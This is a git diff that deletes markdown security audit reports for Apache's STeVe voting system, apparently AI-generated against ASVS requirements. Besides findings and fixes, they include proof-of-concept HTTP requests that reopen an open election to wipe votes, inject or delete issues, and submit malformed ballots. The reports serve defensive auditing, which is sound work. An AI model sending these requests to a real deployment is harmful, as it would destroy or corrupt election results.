-### 1. Consistent Authentication Enforcement
-**Location:** `v3/server/pages.py` (all protected routes)
-
-All sensitive endpoints implement authentication decorators:
-```python
-@asfquart.auth.require({R.committer})
-async def index(request: quart.Request):
- # Protected route implementation
-```
-
-**Security Benefit:** Ensures no protected functionality is accessible without valid authentication.
-
-### 2. Session-Based Authorization Context
-**Location:** `v3/server/pages.py`, line ~85 (`basic_info()`)
-
-```python
-async def basic_info(request: quart.Request):
- session = await asfquart.session.read(request)
- uid = session.get("uid", "")
- # Use uid for subsequent authorization checks
-```
-
-**Security Benefit:** Centralized session reading establishes authenticated user context for all operations.
-
-### 3. Vote Token Isolation
-**Location:** `v3/steve/election.py`, `v3/schema.sql`
-
-Vote anonymization tokens are:
-- Generated server-side via cryptographic functions
-- Stored separately from authentication tokens
-- Never exposed as bearer credentials to clients
-
-**Security Benefit:** Clear separation between authentication tokens (OAuth) and application-specific cryptographic tokens (vote anonymization) prevents confusion and misuse.
-
-### 4. No Token Endpoint Exposure
-**Location:** `v3/server/pages.py` (complete route inventory)
-
-The application exposes no endpoints that could be mistaken for OAuth AS functionality:
-- ❌ No `/token` endpoint
-- ❌ No `/authorize` endpoint
-- ❌ No `/revoke` endpoint
-- ❌ No `/.well-known/openid-configuration`
-
-**Security Benefit:** Reduces attack surface by preventing attempts to exploit non-existent token issuance logic.
-
----
-
-## Architecture Observations
-
-### 1. Authentication Architecture Boundary
-
-```
-┌─────────────────────────────────────────────────────┐
-│ External ASF OAuth Authorization Server │
-│ (Out of Scope for This Audit) │
-│ │
-│ - Issues access tokens & refresh tokens │
-│ - Implements token rotation/DPoP/mTLS │
-│ - ASVS 10.4.5 applies HERE │
-└──────────────────┬──────────────────────────────────┘
- │
- │ OAuth tokens
- ▼
-┌─────────────────────────────────────────────────────┐
-│ asfquart Library (Client-Side Token Handling) │
-│ (Requires Separate Assessment) │
-│ │
-│ - Manages token storage │
-│ - Handles token refresh flow │
-│ - Creates sessions from tokens │
-└──────────────────┬──────────────────────────────────┘
- │
- │ Session data
- ▼
-┌─────────────────────────────────────────────────────┐
-│ apache/steve Application (This Codebase) │
-│ (OAuth Relying Party / Client) │
-│ │
-│ - Consumes sessions via asfquart.session.read() │
-│ - Enforces authorization via decorators │
-│ - No refresh token operations │
-│ - ASVS 10.4.5 does NOT apply here │
-└─────────────────────────────────────────────────────┘
-```
-
-### 2. Token Type Disambiguation
-
-| Token Type | Purpose | Issuer | Consumer | In Scope for 10.4.5? |
-|------------|---------|--------|----------|----------------------|
-| OAuth Access Token | API authorization | External ASF AS | `asfquart` library | ❌ (AS responsibility) |
-| OAuth Refresh Token | Token renewal | External ASF AS | `asfquart` library | ✅ (AS must implement rotation/DPoP) |
-| OIDC ID Token | User identity | External ASF AS | `asfquart` library | ❌ (not refresh token) |
-| Vote Token | Vote anonymization | `steve` app | `steve` app | ❌ (not OAuth token) |
-| Session Cookie | HTTP session | `asfquart` library | `steve` app | ❌ (not OAuth token) |
-
-### 3. Authorization Gap Analysis
-
-**Observation:** Multiple endpoints contain `### check authz` TODO comments indicating incomplete authorization logic.
-
-**Locations:**
-- `pages.py` line ~103 (`election_list()`)
-- `pages.py` line ~233 (`election_view()`)
-- `pages.py` line ~262 (`create_election()`)
-- `pages.py` line ~469 (`issue_list()`)
-- `pages.py` line ~529 (`vote_cast()`)
-- `pages.py` line ~541 (additional route)
-- `pages.py` line ~555 (additional route)
-- `pages.py` line ~570 (additional route)
-- `pages.py` line ~585 (additional route)
-- `pages.py` line ~608 (additional route)
-- `pages.py` line ~636 (additional route)
-
-**Impact:** While authentication is enforced via decorators, fine-grained authorization checks (e.g., "can this user access *this specific* election?") are incomplete. This is orthogonal to ASVS 10.4.5 but represents a significant security concern.
-
----
-
-## Recommendations Summary
-
-### Immediate Actions (External Scope)
-
-1. **Audit the ASF OAuth Authorization Server** against ASVS 10.4.5 requirements:
- - Verify refresh token rotation is implemented for L1/L2 applications
- - Confirm invalidation of used refresh tokens
- - Validate revocation of all refresh tokens when replay is detected
- - Assess implementation of sender-constrained tokens (DPoP/mTLS) for public clients
-
-2. **Review `asfquart` Library Source Code:**
- - Verify secure client-side token storage (encrypted, httpOnly cookies or secure storage)
- - Confirm proper handling of token refresh flows
- - Validate token expiration enforcement
- - Ensure refresh tokens are not logged or exposed in client-side code
-
-### Short-Term Actions (This Codebase)
-
-3. **Complete Authorization Checks:**
- - Address all `### check authz` TODO comments in `pages.py`
- - Implement resource-level authorization (e.g., verify user has permission for specific election/issue)
- - Add unit tests for authorization logic
-
-4. **Document Authentication Architecture:**
- - Create architecture diagram showing OAuth flow between AS, `asfquart`, and `steve`
- - Document which components are responsible for which security controls
- - Clarify audit scope boundaries for future assessments
-
-### Long-Term Actions (Governance)
-
-5. **Establish OAuth Security Baseline:**
- - Define organization-wide OAuth security requirements aligned with ASVS
- - Create security review checklist for OAuth client applications
- - Implement automated security testing for OAuth flows
-
-6. **Implement Security Monitoring:**
- - Add logging for authentication/authorization failures
- - Monitor for suspicious session patterns
- - Alert on repeated authorization failures that could indicate token compromise
-
----
-
-## Appendix: Files Analyzed
-
-<details>
-<summary><strong>Click to expand complete file inventory (5 files)</strong></summary>
-
-### Core Application Files
-
-1. **`v3/schema.sql`** (Relevance: 10/10)
- - Database schema definition
- - Tables: `election`, `issue`, `person`, `mayvote`, `vote`
- - **Key Finding:** No OAuth token storage tables present
-
-2. **`v3/server/pages.py`** (Relevance: 10/10)
- - Web application routes and request handlers
- - ~650 lines of route definitions
- - **Key Finding:** All authentication delegated to `asfquart.auth` decorators; no token issuance logic
-
-3. **`v3/steve/election.py`** (Relevance: 10/10)
- - Election business logic and vote processing
- - Vote token generation and validation
- - **Key Finding:** Vote tokens are application-specific cryptographic hashes, not OAuth tokens
-
-4. **`v3/steve/persondb.py`** (Relevance: 10/10)
- - Person entity CRUD operations
- - Database access layer for user records
- - **Key Finding:** No token-related operations
-
-5. **`v3/server/bin/asf-load-ldap.py`** (Relevance: 10/10)
- - LDAP synchronization batch script
- - Imports person data from LDAP directory
- - **Key Finding:** Uses LDAP bind authentication; no OAuth token handling
-
-</details>
-
----
-
-## Audit Certification
-
-This audit confirms that **ASVS 10.4.5 requirements do not apply** to the `apache/steve` codebase as it does not implement an OAuth Authorization Server. The requirement must be assessed against the external ASF OAuth infrastructure and the `asfquart` authentication library.
-
-**No security vulnerabilities related to ASVS 10.4.5** were identified in the analyzed codebase.
-
----
-
-*Report generated on Apr 21, 2026 by Tooling Agents*
\ No newline at end of file
diff --git a/repos/apache/ASVS/reports/steve/d0aa7e9/business_logic_voting/2.3.1.md b/repos/apache/ASVS/reports/steve/d0aa7e9/business_logic_voting/2.3.1.md
deleted file mode 100644
index 7f05aed..0000000
--- a/repos/apache/ASVS/reports/steve/d0aa7e9/business_logic_voting/2.3.1.md
+++ /dev/null
@@ -1,447 +0,0 @@
-# ASVS 2.3.1 Security Audit Report
-## Apache STeVe — Business Logic Sequential Flow Enforcement
-
----
-
-## Executive Summary
-
-- **Repository:** apache/steve
-- **Audit Date:** Apr 21, 2026
-- **Auditor:** Tooling Agents
-- **ASVS Requirement:** 2.3.1 — Verify that the application will only process business logic flows for the same user in the expected sequential step order and without skipping steps.
- - **Level:** 1
- - **Section:** Business Logic Security
- - **Chapter:** Validation and Business Logic
-- **Files Analyzed:** 4 relevant out of 4 total, 0 skipped
-
-### Finding Summary
-
-| Severity | Count | Description |
-|----------|-------|-------------|
-| **Critical** | 2 | State enforcement bypasses and missing validation steps |
-| **High** | 0 | — |
-| **Medium** | 0 | — |
-| **Low** | 0 | — |
-| **Total** | 2 | Both findings enable complete bypass of sequential flow controls |
-
----
-
-## Security Controls Inventory
-
-### State Transition Controls
-
-| Control | Defined In | Entry Points That Should Use It | Actually Called? | Enforcement Mechanism |
-|---------|-----------|-------------------------------|-----------------|----------------------|
-| `_all_metadata(required_state)` | `election.py:160-177` | All state-changing operations | Only 3 of 10 methods | `if/raise ElectionBadState` (reliable) |
-| `is_editable()` | `election.py:407-409` | `open()`, `add_issue()`, `edit_issue()`, `delete_issue()`, `add_voter()`, `delete()` | Yes, via `assert` | `assert` (unreliable – removed by `-O`) |
-| `is_open()` | `election.py:411-413` | `close()` | Yes, via `assert` | `assert` (unreliable – removed by `-O`) |
-| `is_closed()` | `election.py:415-417` | N/A (no methods assert closed) | N/A | `assert` (unreliable – removed by `-O`) |
-
-### Coverage Analysis – State Enforcement per Method
-
-| Method | Expected State | Mechanism | Reliable? | Gap Type |
-|--------|---------------|-----------|-----------|----------|
-| `add_vote()` (line 282) | `S_OPEN` | `_all_metadata(self.S_OPEN)` → raises `ElectionBadState` | ✅ Yes | — |
-| `tally_issue()` (line 300) | `S_CLOSED` | `_all_metadata(self.S_CLOSED)` → raises `ElectionBadState` | ✅ Yes | — |
-| `has_voted_upon()` (line 360) | `S_OPEN` | `_all_metadata(self.S_OPEN)` → raises `ElectionBadState` | ✅ Yes | — |
-| `open()` (line 68) | `S_EDITABLE` | `assert self.is_editable()` | ❌ No | **Type B** |
-| `close()` (line 120) | `S_OPEN` | `assert self.is_open()` | ❌ No | **Type B** |
-| `add_issue()` (line 206) | `S_EDITABLE` | `assert self.is_editable()` | ❌ No | **Type B** |
-| `edit_issue()` (line 225) | `S_EDITABLE` | `assert self.is_editable()` | ❌ No | **Type B** |
-| `delete_issue()` (line 238) | `S_EDITABLE` | `assert self.is_editable()` | ❌ No | **Type B** |
-| `add_voter()` (line 270) | `S_EDITABLE` | `assert self.is_editable()` | ❌ No | **Type B** |
-| `delete()` (line 46) | `S_EDITABLE` | `assert self.is_editable()` | ❌ No | **Type B** |
-
----
-
-## Critical File Review
-
-### `v3/steve/election.py`
-
-| Line(s) | Function | Security Relevance | Status |
-|---------|----------|-------------------|--------|
-| 50 | `delete()` | `assert self.is_editable()` — state enforcement via removable assert | ❌ CRITICAL |
-| 70 | `open()` | `assert self.is_editable()` — state enforcement via removable assert | ❌ CRITICAL |
-| 123 | `close()` | `assert self.is_open()` — state enforcement via removable assert | ❌ CRITICAL |
-| 208 | `add_issue()` | `assert self.is_editable()` — state enforcement via removable assert | ❌ CRITICAL |
-| 228 | `edit_issue()` | `assert self.is_editable()` — state enforcement via removable assert | ❌ CRITICAL |
-| 241 | `delete_issue()` | `assert self.is_editable()` — state enforcement via removable assert | ❌ CRITICAL |
-| 273 | `add_voter()` | `assert self.is_editable()` — state enforcement via removable assert | ❌ CRITICAL |
-| 286 | `add_vote()` | `_all_metadata(self.S_OPEN)` — proper exception-based state check | ✅ Good |
-| 288 | `add_vote()` | `### validate VOTESTRING` — validation step entirely missing | ❌ CRITICAL |
-| 305 | `tally_issue()` | `_all_metadata(self.S_CLOSED)` — proper exception-based state check | ✅ Good |
-| 363 | `has_voted_upon()` | `_all_metadata(self.S_OPEN)` — proper exception-based state check | ✅ Good |
-
-### `v3/server/pages.py`
-
-| Line(s) | Endpoint | Security Relevance | Status |
-|---------|----------|-------------------|--------|
-| 383-424 | `do_vote_endpoint` | Delegates to `add_vote()` — state check reliable, vote validation absent | ⚠️ Affected by SEV-002 |
-| 447-463 | `do_open_endpoint` | Delegates to `election.open()` — relies on removable assert | ⚠️ Affected by SEV-001 |
-| 466-480 | `do_close_endpoint` | Delegates to `election.close()` — relies on removable assert | ⚠️ Affected by SEV-001 |
-| 483-507 | `do_add_issue_endpoint` | Delegates to `election.add_issue()` — relies on removable assert | ⚠️ Affected by SEV-001 |
-| 510-531 | `do_edit_issue_endpoint` | Delegates to `election.edit_issue()` — relies on removable assert | ⚠️ Affected by SEV-001 |
-| 534-551 | `do_delete_issue_endpoint` | Delegates to `election.delete_issue()` — relies on removable assert | ⚠️ Affected by SEV-001 |
-
----
-
-## Findings
-
-### Critical Severity
-
-#### ASVS-231-CRT-001: Election Lifecycle State Enforcement Uses `assert` Statements — Control Exists But Is Removable (Type B Gap)
-
-**Severity:** CRITICAL
-
-**File:** `v3/steve/election.py`
-**Functions:** `open()` (line 70), `close()` (line 123), `add_issue()` (line 208), `edit_issue()` (line 228), `delete_issue()` (line 241), `add_voter()` (line 273), `delete()` (line 50)
-
-**Related Functions Checked:**
-- `_all_metadata()` (lines 160-177) — proper enforcement mechanism that exists but is not used
-- `is_editable()` (lines 407-409) — state check helper used via assert
-- `is_open()` (lines 411-413) — state check helper used via assert
-- `_compute_state()` (lines 424-437) — state derivation logic
-
-**Description:**
-
-Seven critical election lifecycle management methods rely exclusively on Python `assert` statements for state enforcement. When the application runs with the `-O` optimization flag (a standard production practice), all `assert` statements are removed from bytecode, completely eliminating state transition controls. This allows the election state machine (editable → open → closed) to be traversed in arbitrary order, including backwards transitions and step skipping.
-
-The codebase contains a proper enforcement mechanism (`_all_metadata(required_state)`) that raises `ElectionBadState` exceptions and is used correctly in voting-related methods (`add_vote()`, `tally_issue()`, `has_voted_upon()`), but this pattern was not applied to administrative lifecycle methods.
-
-**Vulnerable Code:**
-
-```python
-# election.py line 68-70
-def open(self, pdb):
- # Double-check the Election is in the editing state.
- assert self.is_editable() # <-- REMOVED by python -O
-
-# election.py line 120-123
-def close(self):
- "Close an election."
- # The Election should be open.
- assert self.is_open() # <-- REMOVED by python -O
-
-# election.py line 206-208
-def add_issue(self, title, description, vtype, kv):
- "Add a new issue with a generated unique IID."
- assert self.is_editable() # <-- REMOVED by python -O
-
-# (same pattern for edit_issue, delete_issue, add_voter, delete)
-```
-
-**Contrasted with the proper pattern used elsewhere in the same file:**
-
-```python
-# election.py line 282-286 — CORRECT implementation
-def add_vote(self, pid: str, iid: str, votestring: str):
- "Add VOTESTRING as the (latest) vote by PID for IID."
- # The Election should be open.
- md = self._all_metadata(self.S_OPEN) # <-- Raises ElectionBadState, NOT removable
-
-# election.py line 160-177 — The proper mechanism that EXISTS
-def _all_metadata(self, required_state=None):
- md = self.q_metadata.first_row(self.eid)
- if not md:
- raise self._disappeared()
- if required_state:
- state = self._compute_state(md)
- if state != required_state:
- raise ElectionBadState(self.eid, state, required_state)
- return md
-```
-
-**Data Flow:**
-
-- **Source:** Web endpoint (e.g., `do_open_endpoint` at `pages.py:447`) receives user request
-- **Sink:** State-changing method (e.g., `election.open()` at `election.py:68`) modifies election state
-- **Missing Control:** The `assert` statements on lines 50, 70, 123, 208, 228, 241, 273 are the ONLY barriers preventing out-of-order state transitions. Python's `-O` flag removes them entirely.
-
-**Proof of Concept:**
-
-When the application is run with `python -O` (a common production optimization):
-
-**1. Re-open an already-open election (destroys all existing votes):**
-```http
-GET /do-open/a1b2c3d4e5 HTTP/1.1
-Cookie: [valid committer session]
-```
-
-`election.open(pdb)` runs without hitting the removed `assert self.is_editable()`. This calls `add_salts()` which regenerates ALL mayvote salts, then generates a new `opened_key`. All previously cast votes become permanently undecryptable because their vote tokens were derived from the old salts.
-
-**2. Add issues to an open election (corrupts election integrity):**
-```http
-POST /do-add-issue/a1b2c3d4e5 HTTP/1.1
-Cookie: [valid committer session]
-Content-Type: application/x-www-form-urlencoded
-
-title=Malicious+Issue&description=injected
-```
-
-`election.add_issue()` runs without hitting the removed `assert self.is_editable()`. The issue is added to an active election. No mayvote entries with salts exist for it, and the `opened_key` tamper detection is retroactively triggered.
-
-**3. Delete issues from an open election (destroys active voting options):**
-```http
-POST /do-delete-issue/a1b2c3d4e5/f6g7h8i9j0 HTTP/1.1
-Cookie: [valid committer session]
-```
-
-**Impact:**
-
-- **Election integrity destruction:** Re-opening an active election regenerates cryptographic salts, making all previously cast votes permanently undecryptable. Voters' choices are silently and irreversibly destroyed.
-- **State machine bypass:** The election lifecycle (editable → open → closed) can be traversed in any order, including backwards (open → editable operations) or skipping (editable → closed).
-- **False confidence:** The `assert` statements create an appearance of state enforcement in code review while providing zero protection in optimized deployments. The proper mechanism (`_all_metadata(required_state)`) exists in the same file, proving the correct pattern was known but inconsistently applied.
-
-**Remediation:**
-
-Replace all `assert` statements used for state enforcement with the existing `_all_metadata(required_state)` mechanism:
-
-```python
-def open(self, pdb):
- # Verify the Election is in the editing state (raises ElectionBadState if not)
- self._all_metadata(required_state=self.S_EDITABLE)
-
- self.add_salts()
- edata = self.gather_election_data(pdb)
- salt = crypto.gen_salt()
- opened_key = crypto.gen_opened_key(edata, salt)
- self.c_open.perform(salt, opened_key, self.eid)
-
-def close(self):
- "Close an election."
- # Verify the Election is open (raises ElectionBadState if not)
- self._all_metadata(required_state=self.S_OPEN)
- self.c_close.perform(self.eid)
-
-def add_issue(self, title, description, vtype, kv):
- "Add a new issue with a generated unique IID."
- self._all_metadata(required_state=self.S_EDITABLE)
- if vtype not in vtypes.TYPES:
- raise ValueError(f'Invalid vote type: {vtype}')
- # ... rest of method
-
-def delete(self):
- "Delete this Election and its Issues and Person/Issue pairs."
- self._all_metadata(required_state=self.S_EDITABLE)
- # ... rest of method
-
-# Apply same pattern to: edit_issue(), delete_issue(), add_voter(), add_salts()
-```
-
----
-
-#### ASVS-231-CRT-002: Vote Content Validation Step Entirely Absent in Vote Submission Flow (Type A Gap)
-
-**Severity:** CRITICAL
-
-**File:** `v3/steve/election.py`, function `add_vote()`, lines 282-298
-**Called from:** `v3/server/pages.py`, function `do_vote_endpoint()`, lines 383-424
-
-**Related Functions Checked:**
-- `crypto.create_vote()` — encrypts votestring without validation
-- `crypto.gen_vote_token()` — generates encryption key
-- `q_get_mayvote.first_row()` — voter eligibility check (present and working)
-- `vtypes.vtype_module()` — vote type system exists but no validation interface
-
-**Description:**
-
-The vote submission flow skips the critical business logic step of validating vote content against the issue's vote type (YNA, STV, etc.) before encryption. The expected sequential steps are: (1) authenticate user, (2) verify election is open, (3) verify voter eligibility, (4) **validate vote content**, (5) encrypt and store vote. Step 4 is completely absent, acknowledged by a TODO comment that was never implemented.
-
-Raw user input travels directly from HTTP form fields to encrypted storage in the database. Invalid, malformed, or malicious vote strings are accepted and stored, with corruption only discovered during tallying when votes are decrypted and processed.
-
-**Expected Sequential Steps for Vote Submission:**
-
-1. ✅ Authenticate user → `@asfquart.auth.require({R.committer})`
-2. ✅ Verify election is open → `_all_metadata(self.S_OPEN)`
-3. ✅ Verify voter eligibility → `q_get_mayvote.first_row(pid, iid)`
-4. ❌ **Validate vote content matches issue type** → COMPLETELY MISSING
-5. ✅ Encrypt and store vote → `crypto.create_vote()`
-
-Step 4 is skipped entirely. The `votestring` travels directly from user input to encrypted storage without any domain validation.
-
-**Vulnerable Code:**
-
-```python
-# election.py lines 282-298
-def add_vote(self, pid: str, iid: str, votestring: str):
- "Add VOTESTRING as the (latest) vote by PID for IID."
-
- # The Election should be open.
- md = self._all_metadata(self.S_OPEN)
-
- ### validate VOTESTRING for ISSUE.TYPE voting # <-- TODO: validation NEVER implemented
-
- mayvote = self.q_get_mayvote.first_row(pid, iid)
- vote_token = crypto.gen_vote_token(md.opened_key, pid, iid, mayvote.salt)
-
- # Pass MAYVOTE.SALT for PBKDF.
- ciphertext = crypto.create_vote(vote_token, mayvote.salt, votestring)
-
- self.c_add_vote.perform(vote_token, ciphertext)
-```
-
-```python
-# pages.py lines 397-415 — caller also performs no validation
-for iid, votestring in votes.items():
- if iid not in issue_dict:
- await flash_danger(f'Invalid issue ID: {iid}')
- return quart.redirect(f'/vote-on/{election.eid}', code=303)
-
- try:
- election.add_vote(result.uid, iid, votestring) # votestring is raw user input
-```
-
-**Data Flow:**
-
-- **Source:** HTTP form field `vote-<iid>` submitted by user (`pages.py:393-395`)
-- **Sink:** `crypto.create_vote()` encrypts and stores the raw string (`election.py:293-295`)
-- **Missing Control:** No validation exists between receiving the vote string and encrypting it. The expected business logic step (validate vote against issue type) is acknowledged as missing via the TODO comment but never implemented.
-
-**Proof of Concept:**
-
-**For a YNA (Yes/No/Abstain) issue, submit an invalid vote:**
-```http
-POST /do-vote/a1b2c3d4e5 HTTP/1.1
-Cookie: [valid committer session with mayvote entry]
-Content-Type: application/x-www-form-urlencoded
-
-vote-f6g7h8i9j0=DEFINITELY_NOT_A_VALID_YNA_VALUE
-```
-
-**For an STV (Single Transferable Vote) issue, submit a corrupted ranking:**
-```http
-POST /do-vote/a1b2c3d4e5 HTTP/1.1
-Cookie: [valid committer session with mayvote entry]
-Content-Type: application/x-www-form-urlencoded
-
-vote-f6g7h8i9j0=zzz,zzz,zzz,zzz,zzz
-```
-
-Both requests succeed with "Votes submitted successfully!" The invalid votestring is encrypted and stored in the `vote` table.
-
-**Impact:**
-
-- **Election result corruption:** Invalid votes are encrypted and stored. During `tally_issue()`, the decrypted votestrings are passed directly to `vtypes.vtype_module(issue.type).tally(votes, kv)`. Depending on tally implementation, malformed votes could be silently miscounted, crash the tally process, or produce incorrect results.
-- **Irreversible data corruption:** Once encrypted and stored, there is no mechanism to distinguish valid from invalid votes without decrypting all of them. The damage is only discovered at tally time.
-- **Per-election scope:** A single malicious voter can corrupt results for every issue they're eligible to vote on in an election.
-
-**Remediation:**
-
-Implement the missing validation step using the existing `vtypes` module infrastructure:
-
-```python
-# In election.py, add_vote()
-def add_vote(self, pid: str, iid: str, votestring: str):
- "Add VOTESTRING as the (latest) vote by PID for IID."
-
- # The Election should be open.
- md = self._all_metadata(self.S_OPEN)
-
- # Fetch issue to determine vote type
- issue = self.q_get_issue.first_row(iid)
- if not issue:
- raise IssueNotFound(iid)
-
- # Validate votestring for the issue's vote type
- vtype_mod = vtypes.vtype_module(issue.type)
- if not vtype_mod.validate(votestring, self.json2kv(issue.kv)):
- raise InvalidVoteString(iid, issue.type, votestring)
-
- mayvote = self.q_get_mayvote.first_row(pid, iid)
- vote_token = crypto.gen_vote_token(md.opened_key, pid, iid, mayvote.salt)
- ciphertext = crypto.create_vote(vote_token, mayvote.salt, votestring)
- self.c_add_vote.perform(vote_token, ciphertext)
-```
-
-```python
-# Each vtype module should implement validate():
-# vtypes/yna.py
-VALID_VOTES = {'yes', 'no', 'abstain'}
-def validate(votestring, kv):
- return votestring.lower().strip() in VALID_VOTES
-
-# vtypes/stv.py
-def validate(votestring, kv):
- candidates = set(kv.get('labelmap', {}).keys())
- rankings = votestring.split(',')
- return all(r.strip() in candidates for r in rankings) and len(rankings) <= len(candidates)
-```
-
----
-
-## Positive Security Patterns
-
-| Pattern | Location | Assessment |
-|---------|----------|------------|
-| Proper state check via `_all_metadata(required_state)` | `election.py:160-177`, used in `add_vote()`, `tally_issue()`, `has_voted_upon()` | ✅ Exception-based, not removable by `-O` |
-| Election state derivation from database fields | `_compute_state()` at `election.py:424-437` | ✅ Derives state from actual column values rather than cached flags |
-| Cryptographic ID generation | `crypto.create_id()` used in `add_issue()`, `create()` | ✅ Prevents enumeration |
-| Integrity loop on ID collision | `while True / try / IntegrityError` at lines 209-214 and 453-458 | ✅ Handles concurrent ID creation safely |
-| Transactional operations for multi-step modifications | `BEGIN TRANSACTION / COMMIT` in `delete()` and `add_salts()` | ✅ Prevents partial state corruption |
-| Tamper detection via `opened_key` | `is_tampered()` at `election.py:387-405` | ✅ Detects post-opening modifications to election data |
-| Voter eligibility enforcement via `mayvote` table | `q_get_mayvote.first_row(pid, iid)` in `add_vote()` | ✅ Database-level eligibility check |
-| Re-voting support via `MAX(vid)` ordering | `vote` table with AUTOINCREMENT `vid` | ✅ Latest vote counted, old votes preserved for audit |
-
----
-
-## Architecture Observations
-
-1. **Inconsistent enforcement patterns:** The codebase contains both reliable (`_all_metadata(required_state)`) and unreliable (`assert`) state enforcement mechanisms. The reliable mechanism was applied to the voting-specific methods but not to the election lifecycle management methods. This suggests the voting flow was hardened separately from the administrative flow.
-
-2. **Web layer delegates entirely to domain layer:** The `pages.py` handlers perform no independent state validation before calling `election.py` methods. This means the domain layer is the sole point of business logic enforcement. When that enforcement uses `assert`, there is no defense-in-depth.
-
-3. **Election lifecycle is well-modeled:** The three-state model (editable → open → closed) with clear database indicators (salt/opened_key presence for open, closed=1 for closed) is well-designed. The issue is purely in how transitions are guarded, not in the model itself.
-
-4. **Vote type system exists but incomplete:** The `vtypes` module provides an extensible framework for different voting methods, with proper tally implementations. However, the validation interface was never completed, leaving a critical gap in the vote submission pipeline.
-
----
-
-## Recommendations Summary
-
-### Immediate (Critical Priority)
-
-| Priority | Finding | Effort | Impact |
-|----------|---------|--------|--------|
-| **1** | ASVS-231-CRT-001: Replace all 7 `assert` statements with `_all_metadata(required_state)` calls | Low — the replacement mechanism already exists and is proven in `add_vote()`/`tally_issue()` | Eliminates complete state bypass under `-O` flag |
-| **2** | ASVS-231-CRT-002: Implement vote content validation in `add_vote()` using per-vtype `validate()` functions | Medium — requires implementing validation logic for each vote type (yna, stv) | Prevents invalid votes from corrupting election results |
-
-### Short-term
-
-- **Add integration tests for `-O` mode:** Create test suite that runs with optimization flags enabled to catch similar issues
-- **Implement defense-in-depth in web layer:** Add state checks in `pages.py` endpoints before delegating to `election.py` methods
-- **Add pre-tally vote validation:** Implement a validation pass during `tally_issue()` that reports invalid votes rather than silently failing
-
-### Long-term
-
-- **Establish coding standards prohibiting `assert` for business logic:** Document that `assert` must only be used for developer-facing invariants, never for security or business rule enforcement
-- **Implement comprehensive state transition logging:** Add audit trail for all election state changes with before/after snapshots
-- **Add vote content preview/confirmation:** Allow voters to see their parsed vote before final submission to catch client-side corruption
-
----
-
-## Appendix: Files Analyzed
-
-<details>
-<summary>Click to expand file list (4 files)</summary>
-
-1. **`v3/docs/schema.md`** (relevance: 10)
- - Documentation of database schema
- - Election state model definition
- - Vote storage structure
-
-2. **`v3/schema.sql`** (relevance: 10)
- - Database table definitions
- - State indicator columns (salt, opened_key, closed)
- - Vote and mayvote table structure
-
-3. **`v3/server/pages.py`** (relevance: 10)
- - Web endpoint handlers
- - Entry points for state-changing operations
- - Vote submission endpoint (`do_vote_endpoint`)
-
-4. **`v3/steve/election.py`** (relevance: 10)
- - Core election business logic
- - State transition methods
- - Vote processing and validation (incomplete)
-
-</details>
\ No newline at end of file
diff --git a/repos/apache/ASVS/reports/steve/d0aa7e9/consolidated.md b/repos/apache/ASVS/reports/steve/d0aa7e9/consolidated.md
deleted file mode 100644
index 202ae7e..0000000
--- a/repos/apache/ASVS/reports/steve/d0aa7e9/consolidated.md
+++ /dev/null
@@ -1,723 +0,0 @@
-# Security Audit Consolidated Report
-
-## apache/tooling-agents — STeVe Voting System
-
-## Report Metadata
-
-| Field | Value |
-|---|---|
-| **Repository** | `apache/tooling-agents` |
-| **ASVS Level** | L1 |
-| **Commit** | `d0aa7e9` |
-| **Date** | Apr 21, 2026 |
-| **Auditor** | Tooling Agents |
-| **Source Reports** | 29 |
-| **Total Findings** | 15 |
-
-## Executive Summary
-
-### Severity Distribution
-
-| Critical | High | Medium | Low | Info | **Total** |
-|:---:|:---:|:---:|:---:|:---:|:---:|
-| 14 | 1 | 0 | 0 | 0 | **15** |
-
-The audit consolidated **29 source reports** across **8 ASVS verification domains** scoped to **Level 1** requirements. Of the 15 unique findings, **14 are rated Critical** and **1 is rated High**, yielding a severity profile heavily concentrated at the top of the scale. No Medium, Low, or Informational findings were identified at L1 scope. This distribution reflects a codebase with strong foundational primitives in certain domains—particularly cryptographic design and SQL injection prev [...]
-
-### Level Coverage
-
-All findings map to **ASVS Level 1** requirements. The eight audited domains and their finding counts are:
-
-| Domain | Findings |
-|---|:---:|
-| Web Input Validation | 5 |
-| TLS / Transport Security | 3 |
-| Business Logic — Voting | 2 |
-| Vote Encryption & Storage | 1 |
-| Data Minimization & Exposure | 1 |
-| Dependency Configuration | 2 |
-| Authentication & Authorization | 0 |
-| Admin & Tallying Operations | 0 |
-
-Authentication and authorization, as well as admin tallying operations, produced **zero findings at L1**, reflecting the mature delegation model to ASF's OAuth infrastructure and the generally sound access-control decorator coverage.
-
-### Top 5 Risks
-
-**1. Pervasive Cross-Site Scripting (XSS) — 5 Critical Findings**
-Findings 002–006 collectively demonstrate that the EZT template layer lacks a default-encode-on-output policy. Stored XSS vectors exist in flash messages, election/issue metadata rendered in HTML context, JavaScript string interpolation, URL path parameters in error pages, and dynamically constructed URLs. Because the application manages election data for Apache PMC members, successful exploitation could allow an attacker to act on behalf of authenticated voters or election administrator [...]
-
-**2. Transport Security Not Enforced — 2 Critical + 1 High Finding**
-FINDING-007 (plain HTTP permitted), FINDING-008 (no TLS protocol version floor), and FINDING-015 (self-signed certificates accepted) together mean that an on-path attacker can intercept or downgrade every external-facing connection. Vote payloads, session tokens, and administrative operations may traverse the network without confidentiality or integrity protection. While TLS certificate-loading capability exists in the codebase, the **opt-in** rather than **enforced** posture leaves the [...]
-
-**3. Business-Logic Integrity Gaps — 2 Critical Findings**
-FINDING-009 reveals that election lifecycle state enforcement relies on Python `assert` statements, which are stripped in optimized (`-O`) runtimes—converting a present control into an absent one. FINDING-010 identifies that the vote-submission flow performs **no server-side validation of vote content**, meaning malformed, empty, or out-of-range ballots can be persisted and counted. Together these findings threaten the correctness and trustworthiness of election outcomes.
-
-**4. Incomplete Cryptographic Cipher Migration — 1 Critical Finding**
-FINDING-001 documents that all vote encryption currently uses AES-128-CBC via Fernet despite an in-progress migration path toward XChaCha20-Poly1305. CBC mode, while protected by Fernet's Encrypt-then-MAC construction, does not provide the authenticated encryption with associated data (AEAD) property required by ASVS 11.3.2. The migration is structurally incomplete—no AEAD cipher path is reachable in the current commit.
-
-**5. Absent Supply-Chain and Dependency Controls — 2 Critical Findings**
-FINDING-013 and FINDING-014 identify the complete absence of a Software Bill of Materials (SBOM), dependency version pinning/tracking, and documented risk-based remediation timeframes for third-party components. For an application processing sensitive governance data, the inability to rapidly assess exposure to upstream vulnerabilities represents a material operational risk.
-
-### Positive Controls
-
-Despite the critical findings above, the audit identified a substantial number of well-implemented security controls that demonstrate deliberate security engineering in several domains:
-
